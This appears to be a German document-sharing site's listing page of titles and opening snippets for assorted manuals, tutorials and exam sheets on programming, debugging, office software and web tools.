Erweiterung der Aufgabe. Die Notenberechnung soll nicht nur für einen Schüler, sondern für bis zu 35 Schüler gehen: VBA Programmierung mit Excel Schleifen 1/6 Erweiterung der Aufgabe Die Notenberechnung soll nicht nur für einen Schüler, sondern für bis zu 35 Schüler gehen: Es müssen also 11 (B L) x 35 = 385 Zellen berücksichtigt

Mehr

The ToolChain.com. Grafisches Debugging mit der QtCreator Entwicklungsumgebung

The ToolChain.com. Grafisches Debugging mit der QtCreator Entwicklungsumgebung The ToolChain Grafisches Debugging mit der QtCreator Entwicklungsumgebung geschrieben von Gregor Rebel 2014-2015 Hintergrund Neben dem textuellen Debuggen in der Textkonsole bieten moderene Entwicklungsumgebungen

Mehr

GalBIB. TSB - Titelstamm Bibliographie. Mit dieser Erweiterung können:

GalBIB. TSB - Titelstamm Bibliographie. Mit dieser Erweiterung können: GalBIB TSB - Titelstamm Bibliographie Mit dieser Erweiterung können: - CD's in den Titelstamm aufgenommen werden - Titel des Titelstamms im bibwin bibliographiert werden 1 Funktion...2 2 Installation...2

Mehr

L10N-Manager 3. Netzwerktreffen der Hochschulübersetzer/i nnen Mannheim 10. Mai 2016

L10N-Manager 3. Netzwerktreffen der Hochschulübersetzer/i nnen Mannheim 10. Mai 2016 L10N-Manager 3. Netzwerktreffen der Hochschulübersetzer/i nnen Mannheim 10. Mai 2016 Referentin: Dr. Kelly Neudorfer Universität Hohenheim Was wir jetzt besprechen werden ist eine Frage, mit denen viele

Mehr

Zwischenablage (Bilder, Texte,...)

Zwischenablage (Bilder, Texte,...) Zwischenablage was ist das? Informationen über. die Bedeutung der Windows-Zwischenablage Kopieren und Einfügen mit der Zwischenablage Vermeiden von Fehlern beim Arbeiten mit der Zwischenablage Bei diesen

Mehr

Debuggen mit GDB (Gnu DeBugger) unter Eclipse

Debuggen mit GDB (Gnu DeBugger) unter Eclipse Debuggen mit GDB (Gnu DeBugger) unter Eclipse Boris Budweg, 16.11.2009 Version 0.4 Abstract: Kleine Einführung in die Bedienung des GDB über Eclipse und die Möglichkeiten eines Debuggers. Viele Screenshots

Mehr

Password Depot für ios

Password Depot für ios Password Depot für ios Inhaltsverzeichnis Erste Schritte... 1 Kennwörterdatei erstellen... 1 Neue Einträge erstellen... 3 Einträge / Gruppen hinzufügen... 3 Einträge / Gruppen kopieren oder verschieben...

Mehr

Schrittweise Anleitung zur Erstellung einer Angebotseite 1. In Ihrem Dashboard klicken Sie auf Neu anlegen, um eine neue Seite zu erstellen.

Schrittweise Anleitung zur Erstellung einer Angebotseite 1. In Ihrem Dashboard klicken Sie auf Neu anlegen, um eine neue Seite zu erstellen. Schrittweise Anleitung zur Erstellung einer Angebotseite 1. In Ihrem Dashboard klicken Sie auf Neu anlegen, um eine neue Seite zu erstellen. Klicken Sie auf Neu anlegen, um Ihre neue Angebotseite zu erstellen..

Mehr

Wie man die SLNP-Schnittstelle für ILL2 in ALEPH testet (SLNP2)

Wie man die SLNP-Schnittstelle für ILL2 in ALEPH testet (SLNP2) B E N U T Z E R D O K U M E N T A T I O N Wie man die SLNP-Schnittstelle für ILL2 in ALEPH testet (SLNP2) Ex Libris Deutschland GmbH (2004) Zuletzt aktualisiert: 1/13/2009 ÜBER DIESES DOKUMENT 3 VORAUSSETZUNGEN

Mehr

Wo möchten Sie die MIZ-Dokumente (aufbereitete Medikamentenlisten) einsehen?

Wo möchten Sie die MIZ-Dokumente (aufbereitete Medikamentenlisten) einsehen? Anleitung für Evident Seite 1 Anleitung für Evident-Anwender: Einbinden der MIZ-Dokumente in Evident. Wo möchten Sie die MIZ-Dokumente (aufbereitete Medikamentenlisten) einsehen? Zunächst müssen Sie entscheiden,

Mehr

Einführung in die Programmierung

Einführung in die Programmierung Name, Vorname Matrikelnummer Probeklausur zur Vorlesung Einführung in die Programmierung WS 2008/09 Dauer: 2 Stunden Hinweise: Schreiben Sie Ihren Namen und Ihre Matrikelnummer auf dieses Deckblatt und

Mehr

2A Basistechniken: Weitere Aufgaben

2A Basistechniken: Weitere Aufgaben 2A Basistechniken: Weitere Aufgaben 2A.3 Programmierung unter UNIX/Linux 1. Gegeben sind einige Ausschnitte von C-Programmen, die unter UNIX/Linux ausgeführt werden sollen. Beantworten Sie die zugehörigen

Mehr

Einrichten einer mehrsprachigen Webseite mit Joomla (3.3.6)

Einrichten einer mehrsprachigen Webseite mit Joomla (3.3.6) Einrichten einer mehrsprachigen Webseite mit Joomla (3.3.6) 1. Loggen Sie sich im Administratorbereich ein und gehen Sie auf Extension > Extension Manager 2. Wählen Sie Install languages 3. Klicken Sie

Mehr

AutoTexte und AutoKorrektur unter Outlook verwenden

AutoTexte und AutoKorrektur unter Outlook verwenden AutoTexte und AutoKorrektur unter Outlook verwenden Die Hilfsmittel "AutoKorrektur" und "AutoTexte", die schon unter Microsoft Word das Arbeiten erleichtern, sind natürlich auch unter Outlook verfügbar.

Mehr

Handbuch. NAFI Online-Spezial. Kunden- / Datenverwaltung. 1. Auflage. (Stand: 24.09.2014)

Handbuch. NAFI Online-Spezial. Kunden- / Datenverwaltung. 1. Auflage. (Stand: 24.09.2014) Handbuch NAFI Online-Spezial 1. Auflage (Stand: 24.09.2014) Copyright 2016 by NAFI GmbH Unerlaubte Vervielfältigungen sind untersagt! Inhaltsangabe Einleitung... 3 Kundenauswahl... 3 Kunde hinzufügen...

Mehr

Advoware mit VPN Zugriff lokaler Server / PC auf externe Datenbank

Advoware mit VPN Zugriff lokaler Server / PC auf externe Datenbank Advoware mit VPN Zugriff lokaler Server / PC auf externe Datenbank Die Entscheidung Advoware über VPN direkt auf dem lokalen PC / Netzwerk mit Zugriff auf die Datenbank des zentralen Servers am anderen

Mehr

Mozilla Firefox - Zeit für den Wechsel

Mozilla Firefox - Zeit für den Wechsel Browser Alternative: Mozilla Firefox 2.0 Mozilla Firefox - Zeit für den Wechsel Klaus Herzberg-Moser / November,Dezember 2007 1. Webseite in Tabs öffnen Seite 2 2. Sitzungswiederherstellung Seite 3 3.

Mehr

Kurzanleitung RACE APP

Kurzanleitung RACE APP Kurzanleitung RACE APP Inhalt Leistungsumfang... 1 Erst Registrierung... 2 Benutzung als Fahrer... 2 Benutzung als Veranstalter... 3 Benutzung als Administrator... 5 Leistungsumfang Bei dem RACE APP handelt

Mehr

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff Programmieren in C Macros, Funktionen und modulare Programmstruktur Prof. Dr. Nikolaus Wulff Der C Präprozessor Vor einem Compile Lauf werden alle Präprozessor Kommandos/Makros ausgewertet. Diese sind

Mehr

Einführung in die C-Programmierung

Einführung in die C-Programmierung Einführung in die C-Programmierung Warum C? Sehr stark verbreitet (Praxisnähe) Höhere Programmiersprache Objektorientierte Erweiterung: C++ Aber auch hardwarenahe Programmierung möglich (z.b. Mikrokontroller).

Mehr

Internationales Altkatholisches Laienforum

Internationales Altkatholisches Laienforum Internationales Altkatholisches Laienforum Schritt für Schritt Anleitung für die Einrichtung eines Accounts auf admin.laienforum.info Hier erklären wir, wie ein Account im registrierten Bereich eingerichtet

Mehr

Zugriff auf die Modul-EEPROMs

Zugriff auf die Modul-EEPROMs MAX-P- und P-Bibliotheken EEPROM-Zugriff 1 Zugriff auf die Modul-EEPROMs Jedes X-Bus-Modul verfügt über ein EEPROM, in dem modulspezifische Daten gespeichert werden. Neben einigen Bereichen, die vom Betriebssystem

Mehr

Anton Ochsenkühn. amac BUCH VERLAG. Ecxel 2016. für Mac. amac-buch Verlag

Anton Ochsenkühn. amac BUCH VERLAG. Ecxel 2016. für Mac. amac-buch Verlag Anton Ochsenkühn amac BUCH VERLAG Ecxel 2016 für Mac amac-buch Verlag 2 Word-Dokumentenkatalog! Zudem können unterhalb von Neu noch Zuletzt verwendet eingeblendet werden. Damit hat der Anwender einen sehr

Mehr

Stand: 28.11.2012. Adressnummern ändern Modulbeschreibung

Stand: 28.11.2012. Adressnummern ändern Modulbeschreibung Seite 1 Inhalt Allgemein...3 Installation...3 manuelle Eingabe von alten und neuen Adressnummern...4 Vorbereiten von Adressnummern-Änderungen in Tabellen...5 Seite 2 Allgemein Das INKS-Modul ermöglicht

Mehr

Installation kitako. Wir nehmen uns gerne Zeit für Sie! Systemanforderungen. Demoversion. Kontakt

Installation kitako. Wir nehmen uns gerne Zeit für Sie! Systemanforderungen. Demoversion. Kontakt Installation kitako COPYRIGHT E-Mail Fon (c) 2014, ITB Information Technology for Business GmbH, Switzerland info@itforbusiness.ch 041 320 91 30 Oktober 2014 Systemanforderungen Unterstützte Betriebssysteme:

Mehr

DIGITALVARIO. Anleitung Bootloader. Ausgabe 0.1 deutsch 29.11.2005. für Direkt-Digital-Vario. Firmware ab 00-06-00 Hardware 01 Seriennummer ab 0003

DIGITALVARIO. Anleitung Bootloader. Ausgabe 0.1 deutsch 29.11.2005. für Direkt-Digital-Vario. Firmware ab 00-06-00 Hardware 01 Seriennummer ab 0003 DIGITALVARIO Anleitung Bootloader Ausgabe 0.1 deutsch 29.11.2005 für Direkt-Digital-Vario Firmware ab 00-06-00 Hardware 01 Seriennummer ab 0003 1. Funktion Der Bootloader dient dazu Updates der Variosoftware

Mehr

Datenexport aus JS - Software

Datenexport aus JS - Software Datenexport aus JS - Software Diese Programm-Option benötigen Sie um Kundendaten aus der JS-Software in andere Programme wie Word, Works oder Excel zu exportieren. Wählen Sie aus dem Programm-Menu unter

Mehr

Linux Prinzipien und Programmierung

Linux Prinzipien und Programmierung Linux Prinzipien und Programmierung Dr. Klaus Höppner Hochschule Darmstadt Sommersemester 2014 1 / 25 2 / 25 Pipes Die Bash kennt drei Standard-Dateideskriptoren: Standard In (stdin) Standard-Eingabe,

Mehr

Einführung in die technische Informatik

Einführung in die technische Informatik Einführung in die technische Informatik Christopher Kruegel chris@auto.tuwien.ac.at http://www.auto.tuwien.ac.at/~chris Betriebssysteme Aufgaben Management von Ressourcen Präsentation einer einheitlichen

Mehr

GEVITAS Farben-Reaktionstest

GEVITAS Farben-Reaktionstest GEVITAS Farben-Reaktionstest GEVITAS Farben-Reaktionstest Inhalt 1. Allgemeines... 1 2. Funktionsweise der Tests... 2 3. Die Ruhetaste und die Auslösetaste... 2 4. Starten der App Hauptmenü... 3 5. Auswahl

Mehr

Hochschule München, FK 03 FA SS 2012. Ingenieurinformatik

Hochschule München, FK 03 FA SS 2012. Ingenieurinformatik Hochschule München, FK 03 FA SS 2012 Ingenieurinformatik Zulassung geprüft vom Aufgabensteller: Teil 1/Aufgabe 1: 30 Minuten ohne Unterlagen, Teil 2/Aufgaben 2-4: 60 Minuten, beliebige eigene Unterlagen

Mehr

Benutzerhandbuch - Elterliche Kontrolle

Benutzerhandbuch - Elterliche Kontrolle Benutzerhandbuch - Elterliche Kontrolle Verzeichnis Was ist die mymaga-startseite? 1. erste Anmeldung - Administrator 2. schnittstelle 2.1 Administrator - Hautbildschirm 2.2 Administrator - rechtes Menü

Mehr

NEUES BEI BUSINESSLINE WINDOWS

NEUES BEI BUSINESSLINE WINDOWS Fon: 0761-400 26 26 Schwarzwaldstr. 132 Fax: 0761-400 26 27 rueckertsoftware@arcor.de 79102 Freiburg www.rueckert-software.de Beratung Software Schulung Hardware Support Schwarzwaldstrasse 132 79102 Freiburg

Mehr

LU-Zerlegung. Zusätze zum Gelben Rechenbuch. Peter Furlan. Verlag Martina Furlan. Inhaltsverzeichnis. 1 Definitionen.

LU-Zerlegung. Zusätze zum Gelben Rechenbuch. Peter Furlan. Verlag Martina Furlan. Inhaltsverzeichnis. 1 Definitionen. Zusätze zum Gelben Rechenbuch LU-Zerlegung Peter Furlan Verlag Martina Furlan Inhaltsverzeichnis Definitionen 2 (Allgemeine) LU-Zerlegung 2 3 Vereinfachte LU-Zerlegung 3 4 Lösung eines linearen Gleichungssystems

Mehr

Informatik Repetitorium SS 2009. Volker Jaedicke Volker.Jaedicke@web.de 0179 1322692

Informatik Repetitorium SS 2009. Volker Jaedicke Volker.Jaedicke@web.de 0179 1322692 Informatik Repetitorium SS 2009 Volker Jaedicke Volker.Jaedicke@web.de 0179 1322692 Operatoren und Datentypen Beispiel: Anweisungen Variable int a float b int c a= a % (int) (++b-1/4) Vorher 36 3.5 c=b

Mehr

Fotogalerie mit PWGallery in Joomla (3.4.0) erstellen

Fotogalerie mit PWGallery in Joomla (3.4.0) erstellen Fotogalerie mit PWGallery in Joomla (3.4.0) erstellen Als ersten Schritt müssen wir alle Fotos die in die Galerie sollen hochladen. Wir gehen davon aus, dass das Plugin PWGallery bereits installiert und

Mehr

Delegatesund Ereignisse

Delegatesund Ereignisse Delegatesund Ereignisse «Delegierter» Methoden Schablone Funktionszeiger Dr. Beatrice Amrhein Überblick Definition eines Delegat Einfache Delegate Beispiele von Delegat-Anwendungen Definition eines Ereignisses

Mehr

Windows. Workshop Internet-Explorer: Arbeiten mit Favoriten, Teil 1

Windows. Workshop Internet-Explorer: Arbeiten mit Favoriten, Teil 1 Workshop Internet-Explorer: Arbeiten mit Favoriten, Teil 1 Wenn der Name nicht gerade www.buch.de oder www.bmw.de heißt, sind Internetadressen oft schwer zu merken Deshalb ist es sinnvoll, die Adressen

Mehr

Geld Verdienen im Internet leicht gemacht

Geld Verdienen im Internet leicht gemacht Geld Verdienen im Internet leicht gemacht Hallo, Sie haben sich dieses E-book wahrscheinlich herunter geladen, weil Sie gerne lernen würden wie sie im Internet Geld verdienen können, oder? Denn genau das

Mehr

Objektorientiertes Programmieren mit Suse Linux

Objektorientiertes Programmieren mit Suse Linux Objektorientiertes Programmieren mit Suse Linux Zum Programmieren werden 2 Komponenten benötigt: 1. einen Editor zur Eingabe des Quellcodes 2. einen Compiler, der den Quellcode in die Maschinensprache

Mehr

Lösung Übungszettel 6

Lösung Übungszettel 6 Lösungen zur Vorlesung GRUNDLAGEN DER INFORMATIK I Studiengang Elektrotechnik SS 03 AG Betriebssysteme FB3 Kirsten Berkenkötter Lösung Übungszettel 6 1 Aufgabe 1: Parallel-Server 1.1 Client #include

Mehr

Kurzanleitung fu r Clubbeauftragte zur Pflege der Mitgliederdaten im Mitgliederbereich

Kurzanleitung fu r Clubbeauftragte zur Pflege der Mitgliederdaten im Mitgliederbereich Kurzanleitung fu r Clubbeauftragte zur Pflege der Mitgliederdaten im Mitgliederbereich Mitgliederbereich (Version 1.0) Bitte loggen Sie sich in den Mitgliederbereich mit den Ihnen bekannten Zugangsdaten

Mehr

3 Wie bekommen Sie Passwortlevel 3 und einen Installateurscode?

3 Wie bekommen Sie Passwortlevel 3 und einen Installateurscode? Kurzanleitung Passwortlevel 3, Erhalt und Handhabung Inhaltsverzeichnis 1 Warum Passwortlevel 3...1 2 Gültigkeitsbereich...1 3 Wie bekommen Sie Passwortlevel 3 und einen Installateurscode?...1 4 Eingabe

Mehr

S7-Hantierungsbausteine für R355, R6000 und R2700

S7-Hantierungsbausteine für R355, R6000 und R2700 S7-Hantierungsbausteine für R355, R6000 und R2700 1. FB90, Zyklus_R/W Dieser Baustein dient zur zentralen Kommunikation zwischen Anwenderprogramm und dem Modul R355 sowie den Geräten R6000 und R2700 über

Mehr

Erstellen von x-y-diagrammen in OpenOffice.calc

Erstellen von x-y-diagrammen in OpenOffice.calc Erstellen von x-y-diagrammen in OpenOffice.calc In dieser kleinen Anleitung geht es nur darum, aus einer bestehenden Tabelle ein x-y-diagramm zu erzeugen. D.h. es müssen in der Tabelle mindestens zwei

Mehr

Zur drittletzten Zeile scrollen

Zur drittletzten Zeile scrollen 1 Fragen und Antworten zur Computerbedienung Thema : Zur drittletzten Zeile scrollen Thema Stichwort Programm Letzte Anpassung Zur drittletzten Zeile scrollen Scrollen VBA Excel 1.02.2014 Kurzbeschreibung:

Mehr

Erstellen der Barcode-Etiketten:

Erstellen der Barcode-Etiketten: Erstellen der Barcode-Etiketten: 1.) Zuerst muss die Schriftart Code-39-Logitogo installiert werden! Das ist eine einmalige Sache und muss nicht zu jeder Börse gemacht werden! Dazu speichert man zunächst

Mehr

Hochschule Darmstadt. IT-Sicherheit

Hochschule Darmstadt. IT-Sicherheit Hochschule Darmstadt IT-Sicherheit K l a u s u r WS 2014/2015, 2015-02-12 Dr. Martin Mink Name, Vorname: Matrikelnummer: Hinweise: (a) Es sind keine Hilfsmittel erlaubt. Mobiltelefone sind auszuschalten.

Mehr

Die Programmiersprache C99: Zusammenfassung

Die Programmiersprache C99: Zusammenfassung Die Programmiersprache C99: Zusammenfassung Jörn Loviscach Versionsstand: 7. Dezember 2010, 19:30 Die nummerierten Felder sind absichtlich leer, zum Ausfüllen in der Vorlesung. Videos dazu: http://www.youtube.com/joernloviscach

Mehr

ZAHLUNGSAVIS. Im Zahlungsprogrammteil automatisch erstellen

ZAHLUNGSAVIS. Im Zahlungsprogrammteil automatisch erstellen DIBU GS/XP Finanzbuchhaltung Erweiterung ZAHLUNGSAVIS Im Zahlungsprogrammteil automatisch erstellen Seite - 1 - von 8 Seite(n) Stand März 2005-03-28 Technische Hinweise: Geänderte Programme FIZAHL1, FIZAHL2,

Mehr

Wie man Registrationen und Styles von Style/Registration Floppy Disketten auf die TYROS-Festplatte kopieren kann.

Wie man Registrationen und Styles von Style/Registration Floppy Disketten auf die TYROS-Festplatte kopieren kann. Wie man Registrationen und Styles von Style/Registration Floppy Disketten auf die TYROS-Festplatte kopieren kann. Einleitung Es kommt vor, dass im Handel Disketten angeboten werden, die Styles und Registrationen

Mehr

Daten-Synchronisation zwischen dem ZDV-Webmailer und Outlook (2002-2007) Zentrum für Datenverarbeitung der Universität Tübingen

Daten-Synchronisation zwischen dem ZDV-Webmailer und Outlook (2002-2007) Zentrum für Datenverarbeitung der Universität Tübingen Daten-Synchronisation zwischen dem ZDV-Webmailer und Outlook (2002-2007) Zentrum für Datenverarbeitung der Universität Tübingen Inhalt 1. Die Funambol Software... 3 2. Download und Installation... 3 3.

Mehr

Starten Sie Eclipse: Hier tragen sie Ihr Arbeitsverzeichnis ein. Zu Hause z.b. c:\workspace.

Starten Sie Eclipse: Hier tragen sie Ihr Arbeitsverzeichnis ein. Zu Hause z.b. c:\workspace. Starten Sie Eclipse: Abgesehen vom Kommandozeilenfenster, auf welches wir später eingehen, öffnet sich ein Dialog (in der FH vermutlich nicht, überspringen Sie in diesem Fall): Hier tragen sie Ihr Arbeitsverzeichnis

Mehr

GITS Steckbriefe 1.9 - Tutorial

GITS Steckbriefe 1.9 - Tutorial Allgemeines Die Steckbriefkomponente basiert auf der CONTACTS XTD Komponente von Kurt Banfi, welche erheblich modifiziert bzw. angepasst wurde. Zuerst war nur eine kleine Änderung der Komponente für ein

Mehr